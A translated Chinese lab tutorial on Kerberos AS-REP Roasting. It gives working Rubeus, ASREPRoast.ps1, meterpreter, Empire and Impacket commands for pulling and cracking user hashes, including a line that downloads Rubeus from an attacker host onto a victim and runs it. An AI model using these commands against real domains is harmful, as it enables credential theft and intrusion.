在上一篇文章中,我们讲到了黄金票据攻击,berberoast,和kerberos爆破等多种方式来攻击kerberos协议。
今天我们再来讲一种针对kerberos协议的攻击,也就是AS-REP Roasting技术。
所需工具:
Rebeus.exe
ASREPRoast PowerShell脚本
Impacket
AS-REP Roasting
这是一种针对kerberos协议的攻击技术,不需要认证就可以获取到用户的密码hash值。如果用户开启了“不使用Kerberos预认证”,攻击者就可以获取到Kerberos AS-REP,经过用户的RC4-HMAC密码加密过的,然后他就可以离线破解这个凭证了。
身份预认证是kerberos认证的第一步,通常是由KDC认证服务器来管理,目的是为了防止暴力破解攻击。
AS-REP Roasting Kerberoasting和黄金票据的区别
如果你觉得这三种攻击方式理解起来容易混淆,那我这里就以一种简单的方式来解释一下:
· AS-REP Roasting:获取用户hash然后离线暴力破解
· Kerberoasting:获取应用服务hash然后暴力破解
· 黄金票据:通过假冒域中不存在的用户来访问应用服务
默认情况下,Do Not Require Pre-Authentication对于域用户来说是禁用的。
这里,因为我们需要测试AS-REP Roasting攻击,所以开启用户的这个选项。当这些攻击条件都准备好之后,你就可以进一步利用更多工具来发起针对kerberos的AS-REP Roasting攻击了。
在你的本地系统上,利用下面这条powershell命令,可以很容易遍历出哪些用户开启了“Do not require pre-authentication”
Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name
下面开始实战
攻击本地主机
首先我们来下载Rebeus.exe这个工具,这款工具很强,而且使用也很简单,可以直接在受害主机的本地环境下运行,下载地址如下:
https://github.com/GhostPack/Rubeus
用法示例:
Rubeus.exe asreproast
下载完成后,运行上面这条命令,会得到用户账户的hash值,这个key值用于加密时间戳。将这个值保存下来进行离线爆破密码
可以看到事件ID为4678的TGT请求已生成日志
接着我们执行下面这条命令:
Rubeus.exe asreproast /format:john /outfile: hashes.txt
这条命令会将提取到的hash值存储到一个txt文件中,存储格式是John这款工具可以破解的格式。
现在,我们来试试破解hash值并提取密码,我们这里就用John the ripper这款工具来破解:
ASREPRoast PowerShell Script
这个ASREPRoast脚本,也可以用来发起攻击,我们先下载脚本,然后导入到powershell中,接着执行以下命令就可以提取出带有AS-REP消息的用户hash值:
Import-Module .\ASREPRoast.ps1 Invoke-ASREPRoast Invoke-ASREPRoast | select -ExpandProperty Hash
上述命令执行之后,你就可以提取到用户hash,如果你想保存到文件中,可以使用下面这条命令:
Invoke-ASREPRoast | select -ExpandProperty Hash > hashdump
提取到hash值后,你就可以跟上面一样来破解密码了:
攻击远程主机
如果你很喜欢用msf,而且想要远程完成整个攻击,你需要先获得受害主机的meterpreter会话,这样就可以加载powershell并上传“ASREPRoast” powershell脚本,然后再meterpreter会话中执行以下命令:
upload /root ASREPROAST.ps1 powershell Import-Module .\ASREPRoast.ps1 Invoke-ASREPRoast
拿到hash值后,你就可以进行密码爆破了。
Powershell Empire
如果你喜欢使用Powershell Empire这个框架,并且想通过Empire这个框架发起ASREPRoast攻击,首先你得拿下一台机器,获得agent会话,然后运行下面这个模块来查看“PreauthNotRequired ”选项有没有勾选。
usemodule situational_awareness/network/powerview/get_user
然后将rebeus.exe下载到你的kali上,然后上传到受害主机上。
shell wget http://192.168.1.112:8000/Rebeus.exe -outfile rubeus.exe shell .\Rubeus.exe asreproast
执行之后,就可以获得hash值,接下俩就可以进行爆破了。
Impacket
GetNPUsers.py这个脚本是Impacket工具套件中的其中一个,它可以列举出哪些用户设置了“Do not require Kerberos pre-authentication”,并获得TGTs。同样的,你也可以保存hash到文件中,然后利用John the ripper进行破解,如下图:
python GetNPUsers.py -dc-ip 192.168.1.105 ignite.local/ -usersfile users.txt -format john -outputfile hashes john –wordlist=/usr/share/wordlists/rockyou.txt hashes
好了,各位表哥们,分享就到这里,实战才是硬道理,希望各位表哥们多多实战。
本文翻译自:https://www.hackingarticles.in/as-rep-roasting/如若转载,请注明原文地址: